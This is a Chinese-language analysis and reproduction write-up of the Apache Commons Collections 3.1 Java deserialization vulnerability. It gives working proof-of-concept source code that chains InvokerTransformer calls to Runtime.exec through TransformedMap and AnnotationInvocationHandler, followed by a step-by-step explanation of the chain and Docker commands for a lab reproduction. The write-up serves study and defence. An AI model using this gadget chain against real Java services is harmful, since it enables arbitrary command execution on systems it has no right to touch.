1.1 状态完成漏洞挖掘条件分析、漏洞复现。
1.2 漏洞分析存在安全缺陷的版本:apache commons collections3.2.1以下,【jdk版本:1.7.0_80】apache maven 3.6.3。
poc核心代码:
package com.patrilic.vul;import org.apache.commons.collections.transformer;import org.apache.commons.collections.functors.constanttransformer;import org.apache.commons.collections.functors.invokertransformer;import org.apache.commons.collections.functors.chainedtransformer;import org.apache.commons.collections.map.transformedmap;import java.io.bytearrayinputstream;import java.io.bytearrayoutputstream;import java.io.objectinputstream;import java.io.objectoutputstream;import java.lang.reflect.constructor;import java.util.hashmap;import java.util.map;public class evalobject {public static void main(string[] args) throws exception {transformer[] transformers = new transformer[]{new constanttransformer(runtime.class),new invokertransformer(getmethod, new class[]{string.class, class[].class}, new object[]{getruntime, new class[0]}),new invokertransformer(invoke, new class[]{object.class, object[].class}, new object[]{null, new object[0]}),// new invokertransformer(exec, new class[]{string.class}, new object[]{calc})new invokertransformer(exec, new class[]{string.class}, new object[]{touch /tmp/commonscollections3.1})};//将transformers数组存入chaniedtransformer这个继承类transformer transformerchain = new chainedtransformer(transformers);// transformerchain.transform(null);//创建map并绑定transformerchainmap innermap = new hashmap();innermap.put(value, value);map outermap = transformedmap.decorate(innermap, null, transformerchain);// //触发漏洞// map.entry onlyelement = (map.entry) outermap.entryset().iterator().next();// onlyelement.setvalue(foobar);class clazz = class.forname(sun.reflect.annotation.annotationinvocationhandler);constructor cons = clazz.getdeclaredconstructor(class.class,map.class);cons.setaccessible(true);object ins = cons.newinstance(java.lang.annotation.retention.class,outermap);//将ins序列化bytearrayoutputstream exp = new bytearrayoutputstream();objectoutputstream oos = new objectoutputstream(exp);oos.writeobject(ins);oos.flush();oos.close();//取出序列化的数据流进行反序列化,验证bytearrayinputstream out = new bytearrayinputstream(exp.tobytearray());objectinputstream ois = new objectinputstream(out);object obj = (object) ois.readobject();// }//}}}
漏洞利用思路:transformer接口-实现类-invokertransformer(),可调用任何函数。
为实现 runtime.getruntime().exec(cmd),要多次调用 transformer 并将当前返回结果作为下次输入信息。
为调用 runtime.getruntime(),考虑 constanttransformer 类,它可直接将输入的参数作为输出。
chainedtransformer 作为实现类,对于接收的transformer 数组,采用自身的transform方法(参数是用户输入的)逐次处理transformer数组对象,将其结果作为下次重复调用的输入参数。它的 transform()方法即可出触发漏洞。
为寻找反序列化途径,即读进来数据被反序列化执行,则反向寻找可触发chainedtransformer 对象 .transform() 方法的途径。
hashmap类可以键值对方式存储数据,put(key,value)方法可存储数据。
transformedmap类的功能是存储键值对并将其转换为transform objects,decorate()方法可创建键值对组,checksetvalue()方法会触发this.valuetransformer.transform()语句。依次反向寻找调用 checksetvalue()【1】,使 this.valuetransformer 为 chainedtransformer 对象的途径【2】。
对于【2】,transformedmap 类的静态方法 decorate()可达到目标。
对于【1】,abstractinputcheckedmapdecorator 类 mapentry 静态类的setvalue方法会执行this.parent.checksetvalue(value),则接下来应使this.parent为transformedmap对象【3】。
对于【3】,正向分析poc中此段代码:
map.entry onlyelement = (map.entry) outermap.entryset().iterator().next();
研究可知,执行过程中多次在abstractinputcheckedmapdecorator类中,将transformedmap对象赋值给this.parent,返回map.entry对象,正好可以执行setvalue()方法,触发漏洞。
为提升通用性,必须设法使得调用反序列化方法即触发漏洞,因此,考虑寻找类对象满足“重写反序列化readobject()且执行map类对象变量的setvalue(),同时此变量可被控制赋键值数据”。annotationinvocationhandler类满足此需求【它对map类型的成员变量的每个条目均调用setvalue()】。
class.forname() 功能是加载类。
则再次分析,对于【1】,正向分析poc中核心代码:
class clazz = class.forname(sun.reflect.annotation.annotationinvocationhandler);constructor cons = clazz.getdeclaredconstructor(class.class,map.class);cons.setaccessible(true);object ins = cons.newinstance(java.lang.annotation.retention.class,outermap);……object obj = (object) ois.readobject();
研究可知,执行过程会执行 mapentry 静态类的 setvalue 方法,且会执行entryset 方法使得 this.parent=transformedmap 对象,从而触发漏洞。
总的来说,正向的poc构造思路为:先构造 chainedtransformer 对象,随后创建 map 对象,再采用 transformedmap 类实例将 chainedtransformer 对象保存至 map 类对象中,再通过反射方法获得经 map 类对象初始化的annotationinvocationhandler 类实例,对其进行序列化。
1.3 docker复现下载制作的docker镜像,用以下命令:
docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1
设置局域网及容器ip、启动容器,例子:
(1)自定义网络
docker network create --subnet=192.168.10.1/24 testnet
(2)启动docker容器
docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash
在容器【apache-commons-collections】中,执行命令【java -jar commons-collections-3.1.jar】,则生成文件【commonscollections3.1】,如下图。
以上就是如何进行apache commons collections反序列化漏洞分析与复现的详细内容。